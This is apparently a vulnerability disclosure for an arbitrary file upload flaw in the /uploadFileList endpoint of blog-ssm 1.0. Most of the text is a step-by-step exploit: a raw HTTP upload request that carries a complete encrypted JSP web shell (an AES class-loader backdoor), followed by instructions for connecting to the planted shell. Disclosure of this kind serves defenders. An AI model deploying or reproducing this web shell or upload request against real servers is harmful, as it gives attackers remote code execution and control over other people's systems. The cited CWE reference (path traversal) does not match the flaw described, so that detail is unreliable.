Unrestricted Upload of File with Dangerous Type In /uploadFileList

[mbslzny]

Unrestricted Upload of File with Dangerous Type In /uploadFileList

[Suggested description]

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /uploadFileList. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

[Vulnerability Type]

Unrestricted Upload of File with Dangerous Type

[Vendor of Product]

https://github.com/rawchen/blog-ssm

[Affected Product Code Base]

1.0

[Affected Component]

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

[Attack Vector]

Step1:Registered account, username: text123, password: 123456.

Step2:Log in to the account you just registered and click "File Management".

Step3:Click File Upload, select the Trojan file that has been built in advance, and click Upload.

Data Pack

POST /uploadFileList HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------352203683622881217472510347558
Content-Length: 2854
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/adminFile
Cookie: JSESSIONID=F68B6E11EB57F40C26C413029E832793
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------352203683622881217472510347558
Content-Disposition: form-data; name="files[]"; filename="text.jsp"
Content-Type: application/octet-stream

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
-----------------------------352203683622881217472510347558--

Step4:In /file, click text.jsp to get the URL address of WebShell: http://localhost:8081/upload/file/text.jsp.

Step5:Connect to the Trojan via http://localhost:8081/upload/file/text.jsp.

[Attack Type]

Remote

[Impact Code execution]

True

[Reference(s)]

http://cwe.mitre.org/data/definitions/23.html